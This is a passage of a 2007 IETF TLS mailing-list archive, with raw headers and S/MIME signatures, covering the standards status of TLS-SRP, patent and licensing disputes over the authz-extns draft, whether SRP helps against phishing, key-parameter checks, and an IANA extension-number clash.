k488tH9qcusIw8+7uXeHOZHyFUOHMINJZO9mq9HwGMC4v1xiPwoAJkzFtHf3D9VAholjhEFg d28aJSs6qN15PXDgDjptAl34eoUxggKuMIICqgIBATBlMFsxCzAJBgNVBAYTAkZSMRAwDgYD VQQKEwdFZGVsV2ViMRgwFgYDVQQLEw9TZXJ2aWNlIEVkZWxQS0kxIDAeBgNVBAMTF0VkZWxQ S0kgRWRlbFdlYiBQZXJzR0VOAgYKr4oygN4wCQYFKw4DAhoFAKCCAZ8wGAYJKoZIhvcNAQkD MQsGCSqGSIb3DQEHATAcBgkqhkiG9w0BCQUxDxcNMDcwNjA1MDk0NzMyWjAjBgkqhkiG9w0B CQQxFgQU19GEikGHZ086/GwrCO2DKyKdtqkwUgYJKoZIhvcNAQkPMUUwQzAKBggqhkiG9w0D BzAOBggqhkiG9w0DAgICAIAwDQYIKoZIhvcNAwICAUAwBwYFKw4DAgcwDQYIKoZIhvcNAwIC ASgwdAYJKwYBBAGCNxAEMWcwZTBbMQswCQYDVQQGEwJGUjEQMA4GA1UEChMHRWRlbFdlYjEY MBYGA1UECxMPU2VydmljZSBFZGVsUEtJMSAwHgYDVQQDExdFZGVsUEtJIEVkZWxXZWIgUGVy c0dFTgIGCq+KMoDeMHYGCyqGSIb3DQEJEAILMWegZTBbMQswCQYDVQQGEwJGUjEQMA4GA1UE ChMHRWRlbFdlYjEYMBYGA1UECxMPU2VydmljZSBFZGVsUEtJMSAwHgYDVQQDExdFZGVsUEtJ IEVkZWxXZWIgUGVyc0dFTgIGCq+KMoDeMA0GCSqGSIb3DQEBAQUABIGALLOUMscHfJtWEjAt v46hwvON5Fo8xo4CO950IjwYW24Ov8vbyUUi98Cslo6NkbODsKqtxGKJE3cayHxanWq8QhOA qtHfGi5xQtlvSG89K6m/oi+xXVNT0DeNh/XOwKgiJw7UeYXmoc02BZjQ/ze2oB3NiWYK+88p 8yWeyBIuWPIAAAAAAAA= --------------ms050306070809050908000107-- --===============0883867634== Content-Type: text/plain; charset="us-ascii" MIME-Version: 1.0 Content-Transfer-Encoding: 7bit Content-Disposition: inline _______________________________________________ TLS mailing list TLS@lists.ietf.org https://www1.ietf.org/mailman/listinfo/tls --===============0883867634==-- From tls-bounces@lists.ietf.org Tue Jun 05 05:52:08 2007 Return-path: Received: from [127.0.0.1] (helo=stiedprmman1.va.neustar.com) by megatron.ietf.org with esmtp (Exim 4.43) id 1HvVhv-0007Zs-MM; Tue, 05 Jun 2007 05:52:07 -0400 Received: from [10.91.34.44] (helo=ietf-mx.ietf.org) by megatron.ietf.org with esmtp (Exim 4.43) id 1HvVht-0007X2-VE for tls@lists.ietf.org; Tue, 05 Jun 2007 05:52:05 -0400 Received: from ug-out-1314.google.com ([66.249.92.170]) by ietf-mx.ietf.org with esmtp (Exim 4.43) id 1HvVhs-0004UL-Eb for tls@lists.ietf.org; Tue, 05 Jun 2007 05:52:05 -0400 Received: by ug-out-1314.google.com with SMTP id j3so122060ugf for ; Tue, 05 Jun 2007 02:52:03 -0700 (PDT) DKIM-Signature: a=rsa-sha1; c=relaxed/relaxed; d=gmail.com; s=beta; h=domainkey-signature:received:received:from:to:subject:date:user-agent:references:in-reply-to:mime-version:content-type:content-transfer-encoding:content-disposition:message-id:sender; b=tckKf0voL6raK6kVOwKV5u3rKt/TW1+HTb/xbLsVGmzjdatIir/ee4DxGP9CwN8A70/3vP8rviLLXpRaHc6izFsaiOZ/cXkFuj2gg8Cr8RP0DESSK7UO9u5oIZ/ONQZwDInuQ5+xZ7a8BAHE2wTQvY87id2Eu3Mmq85yTXV/I8s= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=beta; h=received:from:to:subject:date:user-agent:references:in-reply-to:mime-version:content-type:content-transfer-encoding:content-disposition:message-id:sender; b=m3Fwn+TwUT27YYyaWbPWYg2yeZJtwilj68GjyzslId5hefjm6EUe5vCWCZeVH5nYVheepLW3UyTb9gnda4uV2gxE4kq9rnsfTGmMY4RzHBfIrN541sHqd7jlP9kiQeDQSON2jIs2x2lw9d/CgzYG+/+bwaCT2kTb5uS5sqstuUc= Received: by 10.66.225.1 with SMTP id x1mr380331ugg.1181037123674; Tue, 05 Jun 2007 02:52:03 -0700 (PDT) Received: from crystal.lan ( [87.202.103.11]) by mx.google.com with ESMTP id s7sm1843130uge.2007.06.05.02.52.02; Tue, 05 Jun 2007 02:52:03 -0700 (PDT) From: Nikos Mavrogiannopoulos To: tls@lists.ietf.org Subject: Re: [TLS] Straw poll on TLS SRP status Date: Tue, 5 Jun 2007 12:45:22 +0300 User-Agent: KMail/1.9.6 References: In-Reply-To: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200706051245.23643.nmav@gnutls.org> X-Spam-Score: 0.0 (/) X-Scan-Signature: ffa9dfbbe7cc58b3fa6b8ae3e57b0aa3 X-BeenThere: tls@lists.ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: "This is the mailing list for the Transport Layer Security working group of the IETF." List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Errors-To: tls-bounces@lists.ietf.org On Thursday 24 May 2007, Pasi.Eronen@nokia.com wrote: > Folks, > The one remaining issue with TLS SRP is its intended status (Proposed > Standard, Informational, or Experimental). I and Eric think we need > more data to determine consensus here, so this message starts a > two-week straw poll on this issue. (Our apologies that this has > taken so long; this poll should have been some time ago already.) > The question is: Do you support advancing draft-ietf-tls-srp as > Proposed Standard? > > [ ] Yes. > [ ] I think Informational/Experimental is better. > [ ] I don't care about the status, just get it published. > [ ] Something else, please state: I say Yes. I'll only comment on the IP status. SRP is a patented technology and the patent holder offers a free license for the patent. The only problem is that there are claims by competitive technology patent holders that their patent applies to SRP. These are unproven claims. I see no reason not to move forward with this draft, based only on unproven claims made by companies that hold competitive technologies. regards, Nikos _______________________________________________ TLS mailing list TLS@lists.ietf.org https://www1.ietf.org/mailman/listinfo/tls From tls-bounces@lists.ietf.org Tue Jun 05 08:33:01 2007 Return-path: Received: from [127.0.0.1] (helo=stiedprmman1.va.neustar.com) by megatron.ietf.org with esmtp (Exim 4.43) id 1HvYDZ-0007Fl-CI; Tue, 05 Jun 2007 08:32:57 -0400 Received: from [10.91.34.44] (helo=ietf-mx.ietf.org) by megatron.ietf.org with esmtp (Exim 4.43) id 1HvYDV-0007Ei-Ns for tls@ietf.org; Tue, 05 Jun 2007 08:32:54 -0400 Received: from moutng.kundenserver.de ([212.227.126.171]) by ietf-mx.ietf.org with esmtp (Exim 4.43) id 1HvYDU-0004D2-1h for tls@ietf.org; Tue, 05 Jun 2007 08:32:53 -0400 Received: from [134.147.40.246] (helo=tau.invalid) by mrelayeu.kundenserver.de (node=mrelayeu0) with ESMTP (Nemesis), id 0MKwh2-1HvYDQ373m-0004Je; Tue, 05 Jun 2007 14:32:50 +0200 Received: by tau.invalid (Postfix, from userid 1000) id BD66D1A305; Tue, 5 Jun 2007 14:32:47 +0200 (CEST) Date: Tue, 5 Jun 2007 14:32:47 +0200 From: Bodo Moeller To: Dean Anderson Subject: Re: [TLS] Comments on draft-housley-tls-authz-extns-07 Message-ID: <20070605123247.GA13925@tau.invalid> References: <000a01c7a263$975858c0$6801a8c0@rps.local> Mime-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.5.9i Content-Transfer-Encoding: quoted-printable X-Provags-ID: V01U2FsdGVkX1/oE8WLbBlpfHLVE+u/ulk0y7B6f4C3gtj3N01 RBoKBLO3wbtFGHhsmXmmGMygFA6UiIapfHRC6RPGuOd36R++T1 bBHY/g8iiq6cjFS73UbyA== X-Spam-Score: 0.0 (/) X-Scan-Signature: 33cc095b503da4365ce57c727e553cf1 Cc: tls@ietf.org X-BeenThere: tls@lists.ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: "This is the mailing list for the Transport Layer Security working group of the IETF." List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Errors-To: tls-bounces@lists.ietf.org On Wed, May 30, 2007 at 07:25:05PM -0400, Dean Anderson wrote: > On Tue, 29 May 2007, Mark Brown wrote: >> 2) If it's been published or in use prior to RPS's patent filing, then= *any* >> such method of verifying authorizations is "prior art", and can be use= d with >> tls-authz under the GUL. There are a lot of prior specs in this area.= .. >> And of course you're free to invent new verification methods, etc. On= ly one >> method is reserved by RPS under the GUL. > This is true of any patent, but it is always expensive to litigate. My > view (as you already know) is that your patent is entirely covered by > prior art, is not novel, and therefore should not be issued by the PTO.= =20 > The PTO issues many such patents, however, despite efforts to identify > prior art and obvious claims. Be sure to note the exact wording of what Mark (as a co-inventor) is saying. He does not allege that there is a lot of prior art that RedPhone Security is not seeking patent protection for. (In fact, the published patent application does not cite any prior art.) Rather, he is saying that RedPhone Security is intending to allow the use of prior-art methods *with tls-authz* *under the General Use License*. That is, the implicit claim here is that the combination of these prior-art methods with tls-authz *is*, or may be, patent-protected. (From an advocatus diaboli point of view: The prior-art verification method in itself may be patent-free, but the Internet-Draft has been designed to meet the requirements of whatever is novel in the patent claim.) As of the patent application (20060174323, filed September 23, 2005), the inventors were claiming 1. A method comprising: receiving a request to interact with a network resource provided by a second entity via a computer network; receiving assurances via the network that a first entity has authorized an agent to send the request to the second entity on behalf of the first entity; and complying with the request subject to acceptance of the assurances.=20 25. A computer readable medium comprising computer readable instructions that cause a processor to: receive one or more agent instructions sent to a second entity from an agent via a computer network; receive assurances via the network that a first entity has authorized the agent to send the one or more agent instructions to the second entity on behalf of the first entity; and comply with the one or more agent instructions subject to acceptance of the assurances. 29. A method comprising: sending a request to interact with a network resource to a second entity via a network; sending assurances to the second entity via the network that a first entity has authorized an agent to send the request to the second entity on behalf of the first entity; and receiving a response complying with the request subject to acceptance of the request and the assurances by the second entity. 45. A computer readable medium comprising computer readable instructions that cause a processor to: send one or more agent instructions to a second entity from an agent via a network; send assurances to the second entity via the network that a first entity has authorized the agent to send the one or more agent instructions on behalf of the first entity; and receive a response complying with the one or more agent instructions subject to acceptance of the assurances by the second entity.=20 49. A system comprising: a local directory server that sends request from a second entity from an agent via a network and sends assurances to the second entity via the network that the first entity has authorized the agent to send the request on behalf of the first entity; and a remote directory server that receives the request and receives the assurances, wherein the remote directory server complies with the request subject to acceptance of the assurances.=20 (These are the independent claims only -- of course there's a number of more restrictive dependent claims.) Any of this would be covered by the patent. Those who agree to the conditions of the GUL would be able to obtain a royalty-free patent license from RedPhone Security allowing them to implement everything except certain Protected Assurance System (PAS) functions (the license immediately being revoked if they implement and release any of the PAS functions without having obtained a PAS license). The conditions include granting reciprocal licenses, and avoiding any of the following: Protected Assurance System (PAS) Functions 1. To validate certificates, including, without limitation, Certificates or Attribute Certificates containing "critical" certificate policies using Object Identifiers within an arc registered to RedPhone Security (e.g. iso.org.dod.internet.private.enterprise.23106) 2. To store Agreements and locate Agreements based on assurances received from a sender. (Agreements are defined below in Schedule A) 3. To compare the sender of assurances to a stored collection of Agreement signers. 4. To sign ("countersign") assurances received from a sender via the Protocol after verifying that the sender=A2s digital signature over those assurances is correct. https://datatracker.ietf.org/public/ipr_detail_show.cgi?&ipr_id=3D833 Mark has carefully avoided explicitly discussing whether there is prior art for claim 1. Of course, he knows more about the current fate of the patent application than we do -- and he has *not* implied that claim 1 has been amended to make it more specific than the known claim from the published application. Possibly he has become aware of prior art since filing the patent application, but it is entirely possible that the patent will be granted with claim 1 as filed. I wouldn't want to see such an IPR-laden protocol put on Standards Track unless there are compelling reasons (and I don't see compelling reasons to do so in this case). The IPR holders are *not* saying that uninfringing use will be possible with the patent that they intend to obtain -- rather, they expect *anyone* implementing the specification to obtain a license for it (which may be royalty-free, but imposes a number of conditions in exchange). [...] > Another problem with the GUL is that you must agree to not implement PA= S > functions. Why is this bad? Why the FUD to scare people into licensing > quickly? Here's why: >=20 > Even if you later stop using authz-extns (say because we design a > non-patented alternative), this agreement may still be valid, and it ma= y > be difficult to get out of it---And then you won't be able to implement > PAS functions (well, not without paying RPS or its successors). So, > executing the agreement may worse even than the patent. So, it is > probably better to stop using the patented protocol immediately, and pa= y > cash damages _if_ RPS presses for reparation for the (short) unlicensed > use. >=20 > What to do? >=20 > It can't be ignored that a patent may issue on the authz-extns draft. =20 > Implementers who have already implemented authz-extns should remove the > implementation from distribution immediately. They now have notice of > possible infringement. They should even remove old versions containing > implmentations, and they should notify their users of the likely > infringement and inform their users they should stop using the (likely)= =20 > patented code. You should look closely at the PAS functions and the > license agreement and think about at least the next 21 years, and > possibly forever, before you sign the agreement. >=20 > Don't forget to tell the IESG that you don't want this protocol > standardized. >> Since nobody knows precisely which RPS patent claims will issue, >> executing a GUL may help to alleviate concerns right now. The >> RedPhone Security GUL amounts to a way to guarantee for yourself that >> Sending any "prior art" SAML / AC assertions over TLS will be >> royalty-free. On the whole it's your choice to use the GUL or not. > Using prior art to create an alternative to authz-extns ensures that no > patents will issue that encumber the standard. I favor a new draft, > based entirely on prior art. Agreed. _______________________________________________ TLS mailing list TLS@lists.ietf.org https://www1.ietf.org/mailman/listinfo/tls From tls-bounces@lists.ietf.org Tue Jun 05 09:42:56 2007 Return-path: Received: from [127.0.0.1] (helo=stiedprmman1.va.neustar.com) by megatron.ietf.org with esmtp (Exim 4.43) id 1HvZJG-00071J-Dv; Tue, 05 Jun 2007 09:42:54 -0400 Received: from [10.91.34.44] (helo=ietf-mx.ietf.org) by megatron.ietf.org with esmtp (Exim 4.43) id 1HvZJF-00071C-EM for tls@ietf.org; Tue, 05 Jun 2007 09:42:53 -0400 Received: from stingray.missi.ncsc.mil ([144.51.50.20]) by ietf-mx.ietf.org with esmtp (Exim 4.43) id 1HvZJE-0006nO-5D for tls@ietf.org; Tue, 05 Jun 2007 09:42:53 -0400 Received: from Cerberus.missi.ncsc.mil (cerberus.missi.ncsc.mil [144.51.51.8]) by stingray.missi.ncsc.mil with SMTP id l55DgopX028562 for ; Tue, 5 Jun 2007 09:42:50 -0400 (EDT) Received: from 144.51.60.33 by Cerberus.missi.ncsc.mil (InterScan VirusWall 6); Tue, 05 Jun 2007 09:42:49 -0400 Received: from EXCH.missi.ncsc.mil ([144.51.60.19]) by antigone.missi.ncsc.mil with Microsoft SMTPSVC(6.0.3790.3959); Tue, 5 Jun 2007 09:42:49 -0400 Content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable X-MimeOLE: Produced By Microsoft Exchange V6.5 Subject: RE: [TLS] Straw poll on TLS SRP status Date: Tue, 5 Jun 2007 09:42:48 -0400 Message-ID: In-Reply-To: X-MS-Has-Attach: X-MS-TNEF-Correlator: Thread-Topic: [TLS] Straw poll on TLS SRP status Thread-Index: AcenPxvxH4XS3gnfRnyA4HYm13PVkwAM5VSA References: From: "Kemp, David P." To: X-OriginalArrivalTime: 05 Jun 2007 13:42:49.0799 (UTC) FILETIME=[6868BD70:01C7A777] X-TM-AS-Product-Ver: : ISVW-6.0.0.1396-3.6.0.1039-15218003 X-TM-AS-Result: : Yes--13.701100-0-31-1 X-TM-AS-Category-Info: : 31:0.000000 X-TM-AS-MatchedID: : =?us-ascii?B?MTQ3MDE4LTE1MDU2Ny03MDIy?= =?us-ascii?B?NjAtNzAyMzY3LTcwMDM1NC03MDA3NTYtMTIxNjUyLTExNDI4OS03?= =?us-ascii?B?MDA4NDYtNzAyMDYxLTcxMDQ0Mi03MDE4MTQtNzAyMzU4LTcwMzky?= =?us-ascii?B?NC03MDIxOTgtNzAyMTEzLTcwNjAyMy03MDA3NTItNzAzOTQ5LTcw?= =?us-ascii?B?NDQyNS03MDgxOTYtNzAwMDczLTcwNjg5MS03MDE3NDEtMTE0NTQ3?= =?us-ascii?B?LTcwMTU3Ni03MDEwMTQtMTM5MDA2LTcwMDIxNS03MDExNzUtNzAz?= =?us-ascii?B?NzMxLTEzOTAxMC0xODgwMTktNzA5MTM3LTcwMTQ2MS03MDMzNTUt?= =?us-ascii?B?NzAwNzgzLTcwMzI2Ny0xMjE2MjItNzAyODk4LTcwMTM4Ny03MDI3?= =?us-ascii?B?MjYtNzA5MTg1LTcwNTM4OC03MDczNjEtMTIxNjg0LTE0ODA1MC0y?= =?us-ascii?B?MDA0MA==?= X-Spam-Score: 0.0 (/) X-Scan-Signature: 82c9bddb247d9ba4471160a9a865a5f3 Cc: X-BeenThere: tls@lists.ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: "This is the mailing list for the Transport Layer Security working group of the IETF." List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Errors-To: tls-bounces@lists.ietf.org A client-cert-authenticated TLS session cannot be established without validating the cert either. However, I assume a phishing site would be designed to make it as easy as possible for the user to connect, not more difficult, which means the server would not negotiate SRP, PSK, or client certs before putting up the form. I believe some users could be trained to never enter passwords into a web site unless a special local screen effect is used, but that would require every passworded site on the web to use PBE. But even if that happened, I don't believe my mom, or the majority of non Ubuntu users, could be trained to resist the pitch "PayPal(tm) is changing for the better! Come experience our fresh new look at www.newpaypal.com". I'm not saying strong user authentication with PBE (SRP, EKE, etc) is a bad idea. I'm just saying that phish prevention is not a very effective justification for it, because 1) the bad guys aren't going to use it, and 2) PBE can't prevent the other gazillion ways of socially engineering information out of marks (er, users). Dave -----Original Message----- From: pgut001 [mailto:pgut001@cs.auckland.ac.nz]=20 Sent: Tuesday, June 05, 2007 3:00 AM To: Kemp, David P.; tls@ietf.org Subject: RE: [TLS] Straw poll on TLS SRP status "Kemp, David P." writes: >[...] >3) User authenticates with a) nothing, b) http basic auth, c) client > cert, or d) SRP - it doesn't matter which >4) Phishing server puts up a form that says: enter SSN, mother's > maiden name, and password. With SRP, the user can't connect until the server's already proven knowledge of the username and password, so the phisher can never even get to step 4. >If someone is phishing for information to enable identity theft, then user >authentication has no preventive benefit whatsoever. SRP isn't user authentication, it's mutual authentication of client and server. So is TLS-PSK. >The way to prevent phishing is to make server authentication work. Exactly. That's what TLS-PSK and TLS-SRP do. Thankyou for supporting my argument :-). Peter. _______________________________________________ TLS mailing list TLS@lists.ietf.org https://www1.ietf.org/mailman/listinfo/tls From tls-bounces@lists.ietf.org Tue Jun 05 10:18:08 2007 Return-path: Received: from [127.0.0.1] (helo=stiedprmman1.va.neustar.com) by megatron.ietf.org with esmtp (Exim 4.43) id 1HvZrK-0006Ly-VT; Tue, 05 Jun 2007 10:18:06 -0400 Received: from [10.91.34.44] (helo=ietf-mx.ietf.org) by megatron.ietf.org with esmtp (Exim 4.43) id 1HvZrK-0006Lq-BR for tls@ietf.org; Tue, 05 Jun 2007 10:18:06 -0400 Received: from [128.18.230.194] (helo=delta.rtfm.com) by ietf-mx.ietf.org with esmtp (Exim 4.43) id 1HvZrJ-0005Tf-29 for tls@ietf.org; Tue, 05 Jun 2007 10:18:06 -0400 Received: from delta.rtfm.com (localhost.rtfm.com [127.0.0.1]) by delta.rtfm.com (Postfix) with ESMTP id 03B8C33C1A; Tue, 5 Jun 2007 07:17:09 -0700 (PDT) Date: Tue, 05 Jun 2007 07:17:08 -0700 From: Eric Rescorla To: pgut001@cs.auckland.ac.nz (Peter Gutmann) Subject: Re: [TLS] Issue 30: Reject RSA public exponent 1 In-Reply-To: References: User-Agent: Wanderlust/2.14.0 (Africa) Emacs/21.3 Mule/5.0 (SAKAKI) MIME-Version: 1.0 (generated by SEMI 1.14.6 - "Maruoka") Content-Type: text/plain; charset=US-ASCII Message-Id: <20070605141709.03B8C33C1A@delta.rtfm.com> X-Spam-Score: 0.0 (/) X-Scan-Signature: 52e1467c2184c31006318542db5614d5 Cc: tls@ietf.org X-BeenThere: tls@lists.ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: "This is the mailing list for the Transport Layer Security working group of the IETF." List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Errors-To: tls-bounces@lists.ietf.org At Tue, 05 Jun 2007 19:36:10 +1200, Peter Gutmann wrote: > > writes: > > >Perhaps the advice about this check could be combined with other advice: e.g. > >the TLS implementation should (or even must) check that DH group parameters > >are "good enough" (and reject attempts to use e.g. 256-bit groups, unless > >this is really allowed by the local policy). > > A problem with this is that it's almost impossible to get any consensus as to > what should and shouldn't be checked. I played with this a few years ago and > showed it to a few crypto people and everyone had a different, generally > incompatible, checklist of things that needed to be checked. In the end you > either end up with a huge shopping-list of often questionably-useful checks > (all of my checks are useful, everyone else's are superfluous and a waste of > implementation effort), or a more concise list that represents only one > person's idea of what's worth checking (all of my checks are useful, I'll > ignore everyone else's suggestions because they're superfluous and a waste of > implementation effort). > > Overall I think (based on an attempt at doing it) that this is such an > incredible can of worms that you really, really don't want to open it. If > anyone really wants to build a checklist, put up a web page or create a wiki > and see how the market reacts first. I think this is probably about right. I would argue that 95% of these checks are generic to most COMSEC protocols. If someone were to draft generic guidance I'd be happy for TLS to reference it informationally :) I just don't think it makes a lot of sense in the TLS standard -Ekr _______________________________________________ TLS mailing list TLS@lists.ietf.org https://www1.ietf.org/mailman/listinfo/tls From tls-bounces@lists.ietf.org Tue Jun 05 11:41:35 2007 Return-path: Received: from [127.0.0.1] (helo=stiedprmman1.va.neustar.com) by megatron.ietf.org with esmtp (Exim 4.43) id 1HvbA3-00075Y-AR; Tue, 05 Jun 2007 11:41:31 -0400 Received: from [10.91.34.44] (helo=ietf-mx.ietf.org) by megatron.ietf.org with esmtp (Exim 4.43) id 1HvbA2-00075P-0s for tls@ietf.org; Tue, 05 Jun 2007 11:41:30 -0400 Received: from ganymede.on-x.com ([194.51.68.3]) by ietf-mx.ietf.org with esmtp (Exim 4.43) id 1HvbA0-0007Fl-13 for tls@ietf.org; Tue, 05 Jun 2007 11:41:30 -0400 Received: from localhost (ganymede [127.0.0.1]) by ganymede.on-x.com (Postfix) with ESMTP id 9F95224; Tue, 5 Jun 2007 17:41:26 +0200 (CEST) Received: from ganymede.on-x.com ([127.0.0.1]) by localhost (ganymede.on-x.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id 09412-04; Tue, 5 Jun 2007 17:41:24 +0200 (CEST) Received: from vinea.on-x.com (sedna.puteaux.on-x [192.168.10.9]) by ganymede.on-x.com (Postfix) with ESMTP id 0DCCF22; Tue, 5 Jun 2007 17:41:03 +0200 (CEST) Received: from [193.51.14.5] ([212.234.46.65]) by vinea.on-x.com (Lotus Domino Release 5.0.11) with ESMTP id 2007060517410306:283834 ; Tue, 5 Jun 2007 17:41:03 +0200 Message-ID: <46658378.9050709@edelweb.fr> Date: Tue, 05 Jun 2007 17:38:32 +0200 From: Peter Sylvester User-Agent: Thunderbird 1.5.0.9 (X11/20061206) MIME-Version: 1.0 To: Peter Sylvester Subject: Re: [TLS] Straw poll on TLS SRP status References: <46653134.5040507@edelweb.fr> In-Reply-To: <46653134.5040507@edelweb.fr> X-MIMETrack: Itemize by SMTP Server on vinea/ON-X(Release 5.0.11 |July 24, 2002) at 06/05/2007 05:41:03 PM, Serialize by Router on vinea/ON-X(Release 5.0.11 |July 24, 2002) at 06/05/2007 05:41:23 PM, Serialize complete at 06/05/2007 05:41:23 PM X-Virus-Scanned: by amavisd-new at on-x.com X-Spam-Score: 0.0 (/) X-Scan-Signature: 7da5a831c477fb6ef97f379a05fb683c Cc: tls@ietf.org X-BeenThere: tls@lists.ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: "This is the mailing list for the Transport Layer Security working group of the IETF." List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Content-Type: multipart/mixed; boundary="===============0249701861==" Errors-To: tls-bounces@lists.ietf.org This is a cryptographically signed message in MIME format. --===============0249701861== Content-Type: multipart/signed; protocol="application/x-pkcs7-signature"; micalg=sha1; boundary="------------ms050604040702060009010607" This is a cryptographically signed message in MIME format. --------------ms050604040702060009010607 Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit My previous mail was incomplete. I wanted to copy the letter I had sent to IANA and their response. from: iana-prot-param@icann.org date: 10 august 2006 Dear Peter, This message is just to let you know that your request is still in process. You should be hearing from us soon. On behalf of the IANA, Jonathan Stewart Internet Assigned Numbers Authority (IANA) On Mon Jun 26 01:37:04 2006, Peter.Sylvester@edelweb.fr wrote: > > > Hello, > > > it seems that you have allocated the TLS extension number 6 to ume. > > The number 6 had been in the srp-tls draft since years. > > > The srp-tls draft also contains three alert number for which > > there is a temporary assignment. > > > It seems quite unfortunate to me that you have the number to > > some other extension although you must have been aware > > of the usage in tls-srp. > > > I wonder what can be done to avoid such clashes in the future > > and to remedy the situation with srp-tls. > > > Peter Sylvester > > > --------------ms050604040702060009010607 Content-Type: application/x-pkcs7-signature; name="smime.p7s" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="smime.p7s" Content-Description: S/MIME Cryptographic Signature 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 